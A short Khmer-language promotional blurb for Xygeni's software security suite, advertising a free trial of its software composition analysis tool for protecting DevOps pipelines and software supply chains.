ចាប់ផ្តើមការសាកល្បងឥតគិតថ្លៃរបស់អ្នកឥឡូវនេះ ហើយការពារ DevOps របស់អ្នក pipeline មុនពេលការវាយប្រហារបន្ទាប់មកដល់!

ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni